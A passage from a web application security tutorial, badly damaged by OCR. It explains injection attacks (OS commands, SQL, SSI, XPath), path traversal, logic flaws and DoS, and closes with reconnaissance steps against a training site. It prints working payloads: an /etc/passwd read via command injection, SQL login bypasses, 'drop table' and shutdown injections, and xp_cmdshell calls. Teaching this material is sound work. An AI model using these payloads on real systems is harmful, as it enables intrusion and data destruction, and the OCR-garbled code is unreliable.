server, Web application server, Web server, etc.). This can cause serious security harms where the
permissions grant the rights to query modify or remove anything inside the LDAP tree. The same advanced
exploitation techniques available in SQL Injection can also be similarly applied in LDAP Injection.

4. OS Commanding

This is about executing operating system commands through user-supplied input. It is an attack technique
used to exploit web sites by executing Operating System commands through manipulation of application
input.

When a web application does not properly clean user-supplied input before using it within application code,
it is possible to mislead the application into executing Operating System commands, executed instructions
will run with the same permissions of the component that executed the instructions(e.g. Database server,
Web application server, Web server, etc.).

Example:
Server side language like Perl permits piping data from a process into an open statement, by attaching a '|'
(Pipe) character onto the end of a filename.

# Execute "/bin/Is" and pipe the output to the open
statement

open(FILE, "/bin/ls|")

Web applications often use parameters that specify a file that is displayed or used as a template. If the web
application does not properly clean the input provided by a user, an attacker may change the parameter value
to include a shell command followed by the pipe symbol.

If the original URL of the web application is:

http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt

Changing the template parameter value, the attacker can trick the web application into executing the
command /bin/Is:

http://example /cgi-bin/showInfo.pl?name=John&template=/bin/Is|

Most backend programming languages and scripting languages enable programmers to execute OS
commands during run-time, by using various exec functions. If the web application allows user-supplied



input to be used inside such a function call without being sanitized first, it may be possible for an attacker
to run Operating System commands remotely.

For example, here is a part of a PHP script, which presents the contents of a system directory (on UNIX
systems):

Execute a shell command through the PHP Code:

exec("ls -la $dir",$lines,$rc);

By appending a semicolon (;) followed by an Operating System command, it is possible to force the web
application into executing the second command:

http://example/directory.php?dir=%3Bcat%20/etc/passwd
The result will retrieve the contents of the /etc/passwd file.
5. SQL Injection

SQL injection is a technique used to exploit web applications that use client supplied data in SQL queries
without validating the input. SQL injection is an attack methodology that targets the data residing in a
database through the firewall that shields it. The SQL Injection works even if the System is fully patched, it
requires nothing but port 80 should open. The attack takes advantage of poor input validation in code and
website administration.

It is the act of passing SQL code into an application that was not intended by the developer. SQL injection
vulnerability can occur when a program uses user-provided data in a database query without proper input
validation. On the other hand SQL injection is a form of attack on a database-driven web site in which the
attacker executes unauthorized SQL commands by taking advantage of insecure code on a system connected
to the Internet, bypassing the firewall.

Structured Query Language ('SQL') is a largely textual language used to interact with relational
databases. SQL is both an ANSI and an ISO standard but ANSI is most popular. The typical unit of execution
of SQL is the 'query', which is a collection of statements that typically return a single 'result set'. SQL
statements can modify the structure of databases (using Data Definition Language statements, or 'DDL') and
manipulate the contents of databases (using Data Manipulation Language statements, or 'DML'). SQL
Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by
manipulating data input into an application.

SQL injection attacks are a serious concern for application developers as they can be used to break into
supposedly secure systems and steal, alter, or destroy data. SQL Injection discusses the various ways in
which SQL can be 'injected' into the application and addresses some of the data validation and database
lockdown issues that are related to this class of attack.

Some of the commonly used SQL injection techniques are:



(1) Access through Login Page

e Using ‘or’ condition.

e Using ‘having’ clause.

e Using multiple queries.

e Using extended stored procedures.
(2) Access through URL

¢ By manipulating the query string in URL.
e Using the ‘SELECT & UNION’ statements.



Access through Login Page:
The easiest SQL injection is to bypass the logon forms where the user is authenticated against a password
supplied by the user.

A sample Logon form and authorization script is shown below:
Login form:

4 SQL Injection - Microsoft Internet Explorer, kay
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Tser Name | |

Password | |
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Authorization script in the web page:
Login.asp

<%

dim userName, password, query

dim conn, 1S

userName = Request.Form("userName")

password = Request.Form("password")

set conn = server.createObject("ADODB.Connection")

set rs = server.createObject("ADODB.Recordset")

query = "select count(*) from users where userName="' &userName
& "' and userPass=""' & password & """

conn.Open "Provider=SQLOLEDB; Data Source=(local);

Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn

rs.open query

if not rs.eof then

response.write "Logged In SQL world"
else

response.write "Bad Credentials"

end if

%>




A) Using ‘or’ condition

Username: Ram
Password: ‘or 1=1 --
out put -> "Logged In SQL world ".

) SQL Injection - Microsoft Internet Explorer,

. File Edit ‘ew Favorites Tools Help 'R.
| Address | sqlinjection. html "| 0
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The resultant query would now look like:

select count (*) from users where userName="Ram’ and userPass="" or

1=1--¢

The query now checks for an empty password, or the conditional equation of 1=1, and then a valid row has
been found in the users table. The first ‘quote is used to terminate the string and ’-- ‘is used to comments the
remaining portion of the query.

B) Using ‘having’ clause

Username: ' having 1=1 --
Password: [Anything]
out put -> " Error".
Username: Ram
Password: ‘or 1=1 --

out put -> "Logged In SQL world ".

2 SOL Injection - Microsoft Internet Explorer
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On clicking the submit button to start the login process, the SQL query causes ASP to display the
following error in the browser:

3 50L Injection - Microsoft Internet Explorer |:||E|
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In this way ‘having’ clause can be used to know the name of database and attribute name.This error message
now tells the attacker the name of one field from the database users.userName. Using the name of this field,
attacker can now use SQL Server's ‘LIKE’ keyword to login with the following credentials:

Username: ' or users.userName like 'admin%' --
Password: [Anything]

out put -> " Login as admin".

e | SQL Injection - Microsoft Internet Explorer |:||§|g|
File Edit “iew Favorites Tools Help J !,
| Address | salinjection. html v| &
-
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The resultant query would now look like this:

select userName from users where userName=" or users.userName like
'admin%' --' and userPass="*

The query checks for an user name starting from ‘admin’ in user table.

C) Using multiple queries.



SQL server, among other databases, delimits queries with a semi-colon. The use of a semi-colon allows
multiple queries to be submitted as one batch and executed sequentially, for example:
select 1; select 1+2; select 1+3;

If user logged in with the following credentials:

Username: ' or 1=1; drop table users; --

Password: [Anything]

<3 sqQL Injection - Microsoft Internet Explorer, |-_||E|E|
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Then the query would execute in two parts.
First: Select the userName field for all rows in the users table.

Second: Delete the users table, so that when user logged in following error will appear:
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Some Websites use the default system account (sa) user when logging into SQL Server from their ASP
scripts by default, this user has access to all commands and can delete, rename, and add databases, tables,

triggers, and more.
One of SQL Server's most powerful commands is:

SHUTDOWN WITH NOWALIT: This causes SQL Server to shutdown, immediately stopping the
Windows service.



Username: '; shutdown with nowait; --
Password: [Anything]

3 S0L Injection - Microsoft Internet Explorer,
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This would make our login.asp script run the following query:

select userName from users where userName=";shutdown with nowait; -
-"and userPass=""

If the user is set up as the default sa account, then SQL server will shut down.
D) Using extended stored procedures.

Executing an extended stored procedure using our login form with an injected command as the username,
like this:

Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Anything]

3 SQL Injection - Microsoft Internet Explorer
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This would send the following query to SQL Server:

select userName from users where UserName="";execmaster..xp_cmdshell



'iisreset'; --' and userPass="'

To execute stored procedures user or database should have necessary privileges. If IIS installed on the same
machine as SQL Server ,then administrator/user could restart it by using the ‘xp_cmdshell’ extended stored
and ‘iisreset’.



Through URL:
(A) By manipulating the query string in URL.
Many times URL looks like this: www.sqlproduct.com/sqlproducts.asp?p id=7

To see the product details the product script on the server look like:
sqlproducts.asp

<%

dim prodld

prodld = Request.QueryString("p_id")

set conn = server.createObject("ADODB.Connection")

set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id =" & prodld
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn

rs.open query

if not rs.eof then

response.write "Got product " & rs.fields("prodName").value
else

response.write "No product found"

end if

%>

Now to know the field name of products table attacker can write:
http://sqlproduct/sqlproducts.asp?p 1d=0%20having%201=1

This would produce the following error in the browser:
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Now using products field (products.prodName) call up the following URL in the
browser:

http://localhost/products.asp?productld=0;insert%20into%20products
(prodName)%?20values(left(@@version,50))
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Here's the query without the URL-encoded spaces:

http://localhost/products.asp?productld=0;insert into
products (prodName) values(left(@@version,50))

out put ->"No product found*.
However the above query runs an INSERT query on the products table, adding the first 50 characters of

SQL server's @@pversion variable as a new record in the products table. Which contains the details of
SQL Server's version, build, etc.

An attacker could get the version of SQL server by writing:
http://localhost/products.asp?productld=(select%20max(id)%20from%20products)
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Got product Micresoft SQL Server 2000 - 8.00.534 (Intel 38563

Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86).

After getting the version details of SQL server an attacker could exploit the vulnerabilities associated with
this version, if the SQL server is not fully patched.

(B) SELECT and UNION Statements

Let us consider a web page that returns employee information when a city is entered. The
SQL query in the web page will look like this

SELECT person_name, age, designation FROM emp WHERE person_city =*” & txtcity & *“”

An attacker can use sysobjects and syscolumns tables to make UNION statement. The table sysobjects for
the table names and syscolumns for the fields.

To make a UNION statement successful, the number of columns in the two SELECT statement and their
field types should match. The following injection string can be used:



> UNION ALL SELECT pname,p_id, ‘5> FROM sysobjects WHERE ptype = ‘U
The SQL query that will be formed will look like this:

SELECT person_name, age, designation, phone no FROM emp

WHERE person_city = > UNION ALL SELECT pname, p_id, ‘5’ FROM
sysobjects WHERE

ptype = ‘U’
Error messages are very important for a successful attack. The error from the server is:
Server: Message 205 ,level 16,State 1,Line 1

All queries in an SQL statement containing a UNION operator must have an

equal number of expressions in their target lists.

The user can add another field so that the SQL query passed to the database will be:

SELECT person_name, age, designation, phone_no FROM emp
WHERE person_city = > UNION ALL SELECT pname, p_id, ‘5, ‘5> FROM
sysobjects WHERE ptype = ‘U’

Since the number of columns in the two SELECT statements match and the column type
matches, the attacker will get a valid output which will lists all the tables in the database
with their p_id number. Attacker can select one such table and its corresponding p_id and
form another SQL injection string:

> UNION ALL SELECT pname, ‘5°, ‘5°, ‘5> FROM syscolumns WHERE p_id =
‘13987

The SQL query that will be executed on the server would be:

SELECT person_name, age, designation, phone_no FROM emp
WHERE city = ©° UNION ALL SELECT pname, ‘5’, ‘5°, ‘5> FROM
syscolumns

WHERE id = ‘13987’

In this way attacker can get all information from emp table.

6. SSI Injection (Server-side Include Injection):

SSI Injection is a server-side (mostly browser in web applications) exploits technique that allows an attacker
to launch code into a web application, which will later be executed locally by the web server. SSI Injection
exploits a web application's failure to clean user-supplied data before they are inserted into a server-side
interpreted HTML file." Basically SSI is a mechanism for including files using a special form of HTML



comment which predates the include functionality of modern scripting languages such as PHP, ASP.NET
and JSP.

Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements
of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting
language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed
by the Web server.

In other words, before serving an HTML web page on browser, a web server may parse and performs the
Server-side include statements before providing it to the user. In some cases (e.g. message boards, forums,
blogs, guest books, or content management systems), a web application will insert user-supplied data into
the source of a web page. If an attacker submits a Server-side include statement, he may have the ability to
execute arbitrary operating system commands, or include a restricted file's contents the next time the page
is served.

Example: if I have a script that prints the output in a .shtml file, then it *may* be possible to insert file
includes, and depending on server configuration, execution of commands.
Below is an example of such an attack.

su-2.05# telnet localhost 80

Trying 127.0.0.1...

Connected to localhost.

Escape character is '""]".

GET /HTTP/1.0

Referer: <!--#virtual include="somefile.log"-->

User-Agent: <!--#exec cmd="/bin/id"-->

HTTP/1.1 200 OK

Date: Mon, 17 Dec 2001 20:39:02 GMT
Server:

Connection: close

Content-Type: text/html

In this example the attacker is inserting SSI tags into the Referrer and User-Agent fields. Depending on
whether the software outputs this information as text or in image form, this could lead to possible file
includes, or command execution. (Of course these examples could be interchangeable). If the logs are shown
as text and displayed in a shtml file, and the referrer, or user agent fields are shown (most of the time they
are), then these two requests will be included in the file. The next time a visitor views these logs, the SSI
tags will be executed by the web server, and should display the results of the "id" command, as well as the
contents of "somefile.log". (Once again depending on server configuration).

7. XPath Injection

In a standard Web Applications, data is stored on a Database server. This server can be storing data in
different formats like an RDBMS database, LDAP or XML (Extensible Markup Language). Based on the



user input, the application queries the server and accesses the information. Attackers manage to extract more
information than allowed by manipulating the query with specially crafted inputs. XPATH Injection
techniques to extract data from XML databases.

XML allows programmers to create their own personalized tags to store data. In case of a Database, data is
stored in a table in rows and columns whereas in XML the data is stored in nodes in a tree form. XML Path
or XPath language is used for querying information from the nodes of an XML document. Path expressions
are used to access elements and attributes in an XML document, which return a node-set, a string, a Boolean
or a number. XPath contains a library of 100 built-in functions like Boolean values, date and time
comparison, string values etc.

Comparison between SQL injection and XPath Injection:
Using various technique for securing web applications from SQL injection attacks, is common but how about
the XPath injection protection? Some time it may be more dangerous to SQL injection attacks. Here is few
points to compare the both.
XPath is an ironic standard language, and it is possible to carry the attack ‘as-is” for any XPath
implementation. This is in contrast to SQL injection where different implementations have different SQL
languages (there is a common SQL language, but it is often too weak).
The XPath language can position practically all parts of the XML document without access control
restrictions, whereas with SQL, a "user" (which is a term undefined in the XPath/ XML context) may be
limited to certain tables, columns or queries. So the outcome of the XPath Injection attack is guaranteed to
consist of the complete XML document, i.e. the complete database.
Techniques for the XPATH Injection Attacks

e Simple Xpath Injection

e Blind Xpath Injection
Simple Xpath Injection:
When a Web application apply XPath language to query an XML document and retrieve the registration no
or account number of a user whose name and password are received from the client. Such application may

use these values directly in the XPath query; this can be vulnerable to that web application security.

Example (Using Microsoft ASP.NET and C#)



XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =

nav.Compile("string(//user[name/text()=""+TextBox1.Text+
" and password/text()=""+TextBox2.Text+
""/account/text())");

String account=Convert. ToString(nav.Evaluate(expr));

if (account=="")

i
Lt

/I name+password pair is not found in the XML document —
// login failed.

1
f

else

{

// account found -> Login succeeded.
// Proceed into the application.

When such code is executed, an attacker is capable of inject XPath expressions (very similar to SQL
injection), e.g. provide the following value as a user name:
‘or 1=1 or "='

This information causes the semantics of the original XPath to amend, so that it always returns the first
registration no account number in the XML document. Such an attack is called “Xpath Injection” a similar
to the “SQL injection” attacks, and results in having the attacker logged in (as the first user listed in the
XML document), although the attacker did not provide any valid user name or password. Although this
attack grants the attacker access to the application, it does not necessarily grant them access as the most
privileged account. In fact, except for logging in, the attacker has acquired no information about the XML
“account database”. In some cases, it might be possible to obtain information from the system if the XPath
expression returns data from the XML document.

For example, the above code could have demonstrated the registration number of the logged-in account in
the HTML response. In this situation, the attacker can further manipulate the XPath query to force the server

to return various parts of the document.

Blind Xpath Injection



Blind XPath is a systematic approach to Injection attack that makes possible an invader to extract a complete
XML manuscript used for XPath querying without prior knowledge of the XPath query. It assumes
comparatively nothing on the structure of the query except that the user data is injected in a Boolean
expression context. It enables the attacker to extract a single bit of information per a single query injection.

Xpath:

XPath 1.0 is a language that works on XML to refer to parts of an XML document. It can lineup directly by
an application to query an XML document, or as part of a superior process such as applying an XSLT
transformation to an XML document, or applying an XQuery to an XML document. Syntax of XPath has
the some similarity to an SQL query, and certainly, it is possible to form SQL-like queries on an XML
document using XPath.

The attack makes mostly use of these two techniques:

XPath crawling: The crawling procedure assumes no knowledge of the document structure; yet at its end,
the document, in its completeness, is reconstructed.

Booleanization of XPath queries: scalar XPath query can be replaced by a series of Boolean queries. This
procedure is called a “Booleanization” of the query. A Boolean query is a query whose result is a Boolean
value (true/false). So in a Booleanization process, a query whose result type is string or numeric is replaced
with a series of queries whose result type is Boolean, and from which we can reconstruct the result of the
original string or numeric query.

This attack is capable to get hold of the XML or in other term “database” used in the Xpath query. This can
be most powerful against sites as well as for web applications and that use Xpath queries (and XML
“databases”) for authentication, searching and other uses.



Information Disclosure

The Information Disclosure is all about the getting the System specific information about a website or web
application. System specific information includes the sensitive information about the security, software
distribution, version numbers, and patches levels or the information may contain the location of backup files
and temporary files.

In most cases, revealing this information is not necessary to fulfill the needs of the user. Most web sites
reveals a certain amount of data, but it’s best practice to limit the amount of data whenever possible. The
more information we disclose attacker learns more about to attacks.

We can break up this vulnerability in these following parts:
A) Information Leakage

Information Leakage comes in picture when a web site or web application expose sensitive data, such as
help notes, developer comments or error messages, which may aid an attacker in exploiting the system.

Sensitive information may be present within HTML comments, error messages, source code, or simply left
in plain sight. There are many ways a website can be coaxed into revealing this type of information. While
this disclosure does not necessarily represent a hole in security, it does give an attacker useful guidance for
future exploitation. Leakage of sensitive information may carry various levels of risk and should be limited
whenever possible.
In the first case of information leakage (comments left in the code, verbose error messages, etc.), the leak
may give brainpower to the attacker with contextual information of directory structure, SQL query structure,
and the names of key processes used by the web site. often a developer leaves comments in the HTML and
script code to help facilitate in debugging or integration. This information can range from simple comments
detailing how the script works, to, in the worst cases, usernames and passwords used during the testing phase
of development. Information Leakage also applies to data deemed confidential, which aren't properly
protected by the web site. These data may include account numbers, user identifiers (Drivers license number,
Passport number, Social Security Numbers, etc.) and user specific data (account balances, address, and
transaction history).

Insufficient Authorization, and secure transport encryption also deal with shielding and enforcing proper
controls over access to data. Many attacks fall outside the scope of web site security such as client attacks,
the “casual observer” concerns. Information Leakage in this context deals with exposure of key user data
deemed confidential or secret that should not be exposed in plain view even to the user. Credit card numbers
are a prime example of user data that needs to be further protected from exposure or leakage even with the
proper encryption and access controls in place.

B) Directory listing

Automatic directory listing or indexing is a web server common function that lists all of the files within a
requested directory if the normal base file index.htm, home.htm or default.htm is not available on root.



When a web server reveals a directory's contents, the listing could contain information not intended for
public viewing. Often web administrators assume that if there are no hyperlinks to some documents, they
will not be found, or no one will look for them. It is important to realize that unintended directory listings
may be possible due to software vulnerabilities combined with specific web server request.

The details of the following files could be obtained based on directory indexing data:

e Backup files - with extensions such as .bak, .old or .orig

e Temporary files - those files that are normally purged from the server but for some reason are still
available

e Hidden files
e Naming conventions - Admin vs. admin, backup vs. back-up, etc.
e Enumerate User Accounts - based on home directories named after their user Id

e Configuration file contents - have extensions such as .conf, .cfg or .config. May contain access
control data

e Script Contents — View contents ( if file security permissions are incorrect)
When a user requests the home page of a web site, they normally type in a URL such as:
http://www.google.com - using the domain name and excluding a specific file. The web server processes
this request and searches the document root directory for the default file name and sends this page to the

client. If this page is not present, the web server will issue a directory listing and send the output to the client.

A general Example of Directory Listing:



D Inden of Tomages - Micreseft Irser et [xplover 433

Fle it Vew Fevrtes Toos  belp o

0:..- « &4 parr reoten & e B (.-; 3

£ hep g ot Pervwge namefeages v fe

Index of /images

Yome aast nodified

CrgrgEp PRl E@e@eet

Basically, this is equal to issuing an "Is" (UNIX) or "dir" (Windows) command within this directory and
showing the results in HTML form. From an attack and countermeasure perspective, it is important to realize
that unintended directory listings may be possible due to software vulnerabilities combined with a specific
web request.

When a web server reveals a directory's contents, the listing could contain information not intended for
public viewing. Often web administrators rely on "Security Through Obscurity" assuming that if there are
no hyperlinks to these documents, they will not be found, or no one will look for them. By reviewing the
/robots.txt file and/or viewing directory indexing contents, the vulnerability scanner can now interrogate the
web server further with these new data. Although potentially harmless, Directory Indexing could allow an
information leak that supplies an attacker with the information necessary to launch further attacks against
the system.

C) The Path Traversal

The Path Traversal attack procedure forces access to files, directories, and commands that potentially reside
outside the root directory on computer machine. An attacker may manipulate a URL in such a way that the
web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any method that
exposes an HTTP based interface is potentially vulnerable to Path Traversal.

Most web sites & web applications restrict user access to a specific portion of the file system, typically called
the “web document root” or “CGI root” directory. These directories contain the files intended for user access
and the executables necessary to drive web application functionality. To access files or execute commands
anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences.
The most basic Path Traversal attack uses the “../” special character sequence to alter the resource
location requested in the URL.



This attack technique forces access to directories, files, and commands that potentially reside outside the
web document root directory. Most web sites restrict user access to a specific portion of the file system,
typically called the “web document root”. This directory contains the files intended for user access and the
executables necessary to drive web application functionality.

Although most popular web servers will prevent this technique from escaping the web document root, but
when variations such as:

e Valid and invalid Unicode coding e.g., (*..\”), (“%2e%2e%21”),
e Double URL encoding (*“..%255¢”) of the backslash character,
e NUL character (“%00”) in order to bypass rudimentary file extension checks etc.,

This is a common problem of web applications that use template mechanisms or load static text from files.
In variations of the attack, the original URL parameter value is substituted with the file name of one of the
web application's dynamic scripts. Consequently, the results can reveal source code because the file is
interpreted as text instead of an executable script. These techniques often employ additional special

characters such as the dot (“.”) to reveal the listing of the current working directory, or “%00” NUL
characters in order to bypass rudimentary file extension checks.

D) Predictable Resource Location or Forced Browsing

Predictable Resource Location is also known as Forced Browsing, File Enumeration, Directory
Enumeration, etc. Predictable Resource Location is an attack technique used to uncover hidden web site
content and functionality by making educated guesses, the attack is a brute force search looking for content
that is not intended for public viewing. Temporary files, backup files, configuration files, and sample files
are all examples of potentially leftover files.

These brute force searches are easy to use because hidden files will often have common naming convention
and reside in standard locations. These files may reveal sensitive information about web application
internals, database information, passwords, and machine names, file paths to other sensitive areas, or
possibly contain vulnerabilities. Disclosure of this information is valuable to an attacker.

Example:
Any attacker can make arbitrary file or directory requests to any publicly available web server. The existence

of a resource can be determined by analyzing the web server HTTP response codes. There are several of
Predictable Resource Location attack variations:



Blind searches for common files and directories
/admin/

/backup/

/logs/

/vulnerable_file.cgi

Adding extensions to existing filename: (/test.asp)
/test.asp.bak

/test.bak
/test




Logical Attacks:

Abuse or exploitation of a web application’s logic flow is recognized as Logical Attacks. Application logic
is the expected procedural flow used in order to perform a certain action. Account registration, card
validation, Password recovery, auction bidding, and online shopping are all examples of application logic.

A web site or web application requires a user to in the approved manner perform a specific multi-step process
to complete a particular action. An attacker may be able to circumvent or misuse these features to harm a
web site and its users.

A) Abuse of Functionality

It is an attack technique that uses a web site or web applications own features and functionality to utilize,
cheat, or avoid access controls procedures. Some functionality of a application or website, possibly even
security features, may be abused to cause unexpected behavior. When a piece of functionality is reachable
to abuse, an attacker could potentially hack off other users or perhaps defraud the system entirely. The
potential and level of abuse will vary from web site to web site and application to application. Abuse of
Functionality techniques are often knotted with other categories of web application attacks, such as
performing an encoding attack to introduce a query string that turns a web search function into a remote web
proxy. Abuse of Functionality attacks are also commonly used as a force multiplier.

For example, an attacker can inject a Cross-site Scripting snippet into a web-chat session and then use the
built-in broadcast function to propagate the malicious code throughout the site. In a large view, all effective
attacks against computer-based systems entail Abuse of Functionality issues. Specifically, this definition
describes an attack that has subverted a useful web application for a malicious purpose with little or no
modification to the original function.

Example:
Examples of Abuse of Functionality include:
e Utilization of web site's search function to access restricted files beyond of a web directory,

e Subverting a file upload subsystem to replace critical internal configuration files,
e Execute a DoS by flooding a web-login system with good usernames and bad passwords to lock out

legitimate users when the allowed login retry-limit is exceeded. Other real-world examples are
described below.




FormMail:

The PERL-based web application "FormMail" was normally used to transmit user-supplied form data to a
preprogrammed e-mail address. The script offered an easy to use solution for web site's to gather feedback.
For this reason, the FormMail script was one of the most popular CGI programs on-line.

Unfortunately, this same high degree of utility and ease of use was abused by remote attackers to send e-
mail to any remote recipient. In short, this web application was transformed into a spam-relay engine with a
single browser web request.

An attacker merely has to craft an URL that supplied the desired e- mail parameters and perform an HTTP
GET to the CGI, such as:

http://example/cgi-bin/FormMail.pl? recipient=email@yvictim.example&message=you%20got%20spam

An email would be dutifully generated, with the web server acting as the sender, allowing the attacker to be
fully proxied by the web- application. Since no security mechanisms existed for this version of the script,
the only viable defensive measure was to rewrite the script with a hard-coded e-mail address. Barring that,
site operates were forced to remove or replace the web application entirely.

Macromedia's Cold Fusion:

Occasionally basic administrative tools are embedded within web applications that can be easily used for
unintended purposes.

For example, Macromedia's Cold Fusion by default has a built-in module for viewing source code that is
universally accessible. Abuse of this module can result in critical web application information leakage. Often
these types of modules are not sample files or extraneous functions, but critical system components. This
makes disabling these functions problematic since they are tied to existing web application systems.

B) Denial of Service (DoS)

A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss
of service to users, typically the loss of network connectivity and services by consuming the bandwidth of
the victim network or overloading the computational resources of the victim system. Denial of Service is an
attack with the intention of preventing a web site from serving normal user activity. DoS attacks are common
in networking layers, but also possible at the application layer as well.

DoS rely primarily on brute force, flooding the target with an overwhelming flux of packets, over saturating
its connection bandwidth or depleting target's system resources. Bandwidth-saturating floods rely on the
attacker having higher bandwidth available than the victim; a common way of achieving this today is via
Distributed Denial of Service, employing a botnet (Botnet is a jargon term for a collection of software robots,
or bots, which run autonomously.). Other floods may use specific packet types or connection requests to
saturate finite resources by, for example, occupying the maximum number of open connections or filling the
victim's disk space with logs.

A DoS attack can be carry out in a number of ways. But these are the most common type of DoS attack:

e consumption of computational resources, such as bandwidth, disk space, or CPU time
e disruption of configuration information, such as routing information



e disruption of physical network components

e “banana attack™: It involves redirecting outgoing messages from the client back onto the client,
preventing outside access, as well as flooding the client with the sent packets.

e A smurf Attack, named after its exploit program, is a denial-of-service attack which uses spoofed
broadcast ping messages to flood a target system.
Smurf attack is variant of a flooding DoS attack on the public Internet. It relies on mis-configured
network devices that allow packets to be sent to all computer hosts on a particular network via the
broadcast address of the network, rather than a specific machine.

Distributed DoS attacks

In a distributed attack, the attacking computer hosts are often zombie computers (A zombie computer
(abbreviated zombie) is a computer attached to the Internet that has been compromised by a cracker, a
computer virus, or a Trojan horse.) with broadband connections to the Internet that have been compromised
by viruses or Trojan horse programs that allow the perpetrator to remotely control the machine and direct
the attack, often through a botnet/dosnet. With enough such slave hosts, the services of even the largest and
most well-connected websites can be denied.

Effects of DoS

Denial of Service attacks can also lead to other problems in the network 'branches' around the actual
computer being attacked. For example, the bandwidth of a router between the Internet and a LAN may be
consumed by DoS, meaning not only will the intended computer be compromised, but the entire network
will also be disrupted.

If the DoS is conducted in a sufficiently large scale, entire geographical swathes of Internet connectivity can
also be compromised by incorrectly configured or flimsy network infrastructure equipment without the
attacker's knowledge or intent. For this reason, most, if not all ISPs ban the practice.

These malicious attacks can succeed by starving a system of critical resources, vulnerability exploit, or abuse
of functionality. Many times DoS attacks will attempt to consume all of a web site’s available system
resources such as: CPU, memory, disk space etc. When any one of these critical resources reach full
utilization, the web site will normally be inaccessible. As today’s web application environments include a
web server, database server and an authentication server, DoS at the application layer may target each of
these independent components. Unlike DoS at the network layer, where a large number of connection
attempts are required, DoS at the application layer is a much simpler task to perform.

C) Insufficient Anti-automation

Insufficient Anti-automation is occurs when a web site or web applications allows an invader to automate
a process that should only be execute manually. Certain web site functionalities should be protected
against automated attacks.

An example: An automated Script or robot program should not be able to sign up ten thousand new accounts
in a few minutes. Similarly, automated robots should not be able to annoy other users with repeated message
board postings. These operations should be limited only to human usage. for this signup problem Random
picture numbers is one of very significant anti automation technique that we can see in very common
applications like sign up process or any form feeding applications. You must be noticed when you sign up
for the email on any portal they ask you to enter the picture numbers to avoid the automation.



Scripts, automated robots (programs), or even attackers could repeatedly exercise web site functionality
attempting to exploit or defraud the system. An automated robot could potentially execute thousands of
requests a minute, causing potential loss of performance or service.



D) Insufficient Process Validation

Insufficient Process Validation is comes in a picture when a website or web application allow an attacker to
bypass or avoid the intended flow control of an application. If the user state process from end to end is not
verified and enforced, the web site could be at risk to exploitation or fraud. When a user performs a certain
web site function, the application may expect the user to navigate through a specific order sequence. If the
user performs certain steps incorrectly or out of order, a data integrity error occurs and it may lead to
vulnerability.

Examples of multi-step processes include credit card processing, bank wire transfer, password recovery,
purchase checkout, account signup, etc. These processes are to be expected to follow certain steps to be
performed to carry smooth secure operations. Multi-step processes should follow the proper sequence of
order to function securely, web sites and web applications are vital to maintain & carry user state as the user
traverses the process flow. Web sites will normally track a users state through the use of sessions, cookies
or hidden HTML form fields. However, when tracking is gathered on the client side within the web browser,
the integrity of the data must be verified. If not, an attacker may be able to circumvent the expected traffic
flow by altering the current state.

Example:

An online ecommerce web application system may offer to the user a discount if product A is purchased.
The user may not want to purchase product A, but product B. By filling the shopping cart with product A
and product B, and entering the checkout process, the user obtains the discount. The user then backs out of
the checkout process, and removes product A, or simply alters the values before submitting to the next step.
The user then reenters the checkout process, keeping the discount already given in the previous checkout
process with product A in the shopping cart, and obtains a fraudulent purchase price.



Web Application Testing Process

Information Gathering

1. Conduct Search Engine Discovery and Reconnaissance for Information Leakage

Google hacking

technique Evident:

With: testphp.vulnweb.com

I have try google hack with search field parameter as: “site:
aspdotnetapp.infosecaddicts.com” After this, I got basic crawling result

below:

Home - InfoSec Addicts | Cyber Security | Pentester

https://infosecaddicts.com/ v

Get away from the BS of the InfoSec Addicts world. Run, don't walk! InfoSec Addicts is a place that is
solely focused on deep technical InfoSec Addicts..

Missing: aspdotnetapp- | Must include: aspdotnetapp.

Images for site: aspdotnetapp.infosecaddicts.com

ARE YOU READY
FOR THE ULTIMATE 8
CERTIFICATION

wng And How To Become A Why and How to
PREP PROGRAM?

Become a Penetration

ecurity Specialist? Tester?

9 More images for site: aspdotnetapp.infosecaddicts.com Report images

Pentester Candidate Program - InfoSec Addicts
https://infosecaddicts.com/course/pentester-candidate-program/ v

This program is entirely self-contained in the InfoSec Addicts website. The "My Courses" of the site
contains all of the tasks that you will be required to perform as ...

Missing: aspdetnetapp- | Must include: aspdotnetapp.

Courses Archive - InfoSec Addicts

https://infosecaddicts.com/courses-overview/ v

You can sign up now by clicking on the link below: https://infosecaddicts.com/product/ ... Gain access
to all certification courses on this page for only 600/ month.

I used some query to discovering more interested information :



Joseph McCray, Author at InfoSec Addicts
https://infosecaddicts.com/author/joemccray/ v

Mar 12, 2018 - This fundamental information becomes of valuable use for an attacker who wants to
draw his conclusions about the fakeness of a website.

Missing: aspdetnetapp- | Must include: aspdotnetapp.

InfoSecAddicts (@InfoSecAddicts) | Twitter
https://twitter.com/infosecaddicts?lang=en v

Thank you to @InfoSecAddicts for demonstrating a few ways to use @Burp_Suite to search for XSS,
and File Inclusion vulnerabilities.

Missing: aspdotnsetapp- | Must include: aspdotnetapp.

References:

e http://www.mrjoeyjohnson.com/Google.Hacking.Filters.pdf

2. Fingerprint Web Server

Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type
of a running web server allows testers to determine known vulnerabilities and the appropriate
exploits to use during testing.

Black box test:
The simplest and most basic form of identify a web server is look at the server field in the HTTP
response header with netcat

Example:

nc
infosecaddicts.c
om 80 GET/

HTTP/1.1

Host:
infosecaddicts.c

om enter



enter



Automate Testing tools: httprint,
Burpsuite Online Testing:

https://www.netcraft.com/

Evident:

e with netcat, we have result as below:

& Network
Site https://aspdotnetapp.infosecaddicts.com Netblock
Owner
Domain infosecaddicts.com Nameserver
IP address 104.25.166.6 (VirusTotal) DNS admin
IPv6 address 2606:4700:20:0:0:0:6819:a706 Reverse DNS
Domain unknown Nameserver
registrar organisation
Organisation  unknown Hosting
